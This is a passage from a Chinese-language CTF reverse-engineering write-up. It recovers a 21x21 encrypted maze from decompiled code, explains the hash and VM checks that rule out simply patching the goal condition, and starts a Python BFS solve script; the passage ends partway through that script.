<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">wall</span> <span class="o">=</span> <span class="p">(</span><span class="n">enc_maze</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">maze_key</span><span class="p">(</span><span class="n">i</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xf</span>
</span></span></code></pre></div><p>墙bit含义：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">N = 1
</span></span><span class="line"><span class="cl">S = 2
</span></span><span class="line"><span class="cl">E = 4
</span></span><span class="line"><span class="cl">W = 8
</span></span></code></pre></div><p>BFS找路线迷宫大小由边界判断看出来：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span> <span class="n">y</span> <span class="o">&gt;</span> <span class="mh">0x14</span> <span class="o">||</span> <span class="n">x</span> <span class="o">&gt;</span> <span class="mh">0x14</span> <span class="p">)</span>
</span></span></code></pre></div><p><code>0x14 = 20</code>，所以迷宫是<code>21 x 21</code>，起点是<code>(0,0)</code>，终点判断是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span> <span class="n">y</span> <span class="o">==</span> <span class="mi">20</span> <span class="o">&amp;&amp;</span> <span class="n">x</span> <span class="o">==</span> <span class="mi">20</span> <span class="p">)</span>
</span></span></code></pre></div><p>还原所有墙之后，从<code>(0,0)</code>对<code>(20,20)</code>做BFS/DFS即可得到路线。脚本见：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">solve/solve.py
</span></span></code></pre></div><p>核心逻辑：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">DIRS</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="s2">&#34;W&#34;</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="s2">&#34;D&#34;</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">4</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="s2">&#34;S&#34;</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">8</span><span class="p">),</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span></code></pre></div><p>遇到<code>(walls(x, y) &amp; bit) == 0</code>就说明这个方向可以走。</p>
<p>为什么不能只patch终点？到达终点后，程序还检查两个64位rolling hash：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v32</span> <span class="o">==</span> <span class="mh">0x72F3A9A0BD84896</span>
</span></span><span class="line"><span class="cl"><span class="n">v23</span> <span class="o">==</span> <span class="mh">0x3CD48E68E9B27096</span>
</span></span></code></pre></div><p>这两个值是在每一步移动后混合当前位置、当前字符和步数得到的。也就是说，即使patch了终点坐标，不知道正确路线也过不了后面的校验。</p>
<p>接着还有一段VM tape校验：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v9</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">unk_406220</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">do</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">v11</span> <span class="o">=</span> <span class="n">v10</span> <span class="o">^</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">v9</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">v12</span> <span class="o">=</span> <span class="n">v11</span> <span class="o">&amp;</span> <span class="mi">7</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">v13</span> <span class="o">=</span> <span class="nf">HIWORD</span><span class="p">(</span><span class="n">v11</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">v14</span> <span class="o">=</span> <span class="n">Buffer_1</span><span class="p">[(</span><span class="n">v36</span> <span class="o">+</span> <span class="p">(</span><span class="n">v11</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">))</span> <span class="o">%</span> <span class="mh">0x146</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="k">switch</span> <span class="p">(</span><span class="n">v12</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">v9</span> <span class="o">+=</span> <span class="mi">4</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">v10</span> <span class="o">+=</span> <span class="mi">521288629</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">v36</span> <span class="o">+=</span> <span class="mi">17</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="k">while</span> <span class="p">(</span> <span class="n">byte_4063A0</span> <span class="o">!=</span> <span class="n">v9</span> <span class="p">);</span>
</span></span></code></pre></div><p>这里<code>0x146 = 326</code>，VM每轮会从输入路线中取一个字符，更新四个寄存器。最后要求：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">n1831565813</span> <span class="o">==</span> <span class="mi">456645978</span>
</span></span><span class="line"><span class="cl"><span class="n">n461845907</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1696666991</span>
</span></span><span class="line"><span class="cl"><span class="n">v28</span> <span class="o">==</span> <span class="o">-</span><span class="mi">515067003</span>
</span></span><span class="line"><span class="cl"><span class="n">n285001212</span> <span class="o">==</span> <span class="mi">285001212</span>
</span></span></code></pre></div><p>所以解题思路应是还原迷宫并求出真实路线，而不是只改一个条件跳转。</p>
<p>flag解密VM通过后，程序用前面rolling hash派生出的状态解密<code>byte_406200</code>：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v31</span> <span class="o">=</span> <span class="mh">0xCCF18A30AA1B24C8</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">v31</span> <span class="o">+=</span> <span class="mh">0x9E3779B97F4A7C15</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nf">splitmix64</span><span class="p">(</span><span class="n">v31</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">Buffer</span><span class="p">[</span><span class="n">n32</span><span class="p">]</span> <span class="o">=</span> <span class="n">byte_406200</span><span class="p">[</span><span class="n">n32</span><span class="p">]</span> <span class="o">^</span> <span class="n">keystream_byte</span><span class="p">;</span>
</span></span></code></pre></div><p>IDA里写成了：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v31</span> <span class="o">-=</span> <span class="mh">0x61C8864680B583EB</span><span class="p">;</span>
</span></span></code></pre></div><p>这是同一个意思，因为：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">0x9E3779B97F4A7C15 == -0x61C8864680B583EB  (mod 2^64)
</span></span></code></pre></div><p>只要输入正确路线，程序会自动解密并打印flag。</p>
<p>脚本：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">collections</span> <span class="kn">import</span> <span class="n">deque</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">W</span> <span class="o">=</span> <span class="mi">21</span>
</span></span><span class="line"><span class="cl"><span class="n">H</span> <span class="o">=</span> <span class="mi">21</span>
</span></span><span class="line"><span class="cl"><span class="n">ENC</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">maze_key</span><span class="p">(</span><span class="n">i</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">z</span> <span class="o">=</span> <span class="p">(</span><span class="mh">0x9E3779B9</span> <span class="o">^</span> <span class="p">((</span><span class="n">i</span> <span class="o">*</span> <span class="mh">0x85EBCA6B</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">z</span> <span class="o">^=</span> <span class="n">z</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span>
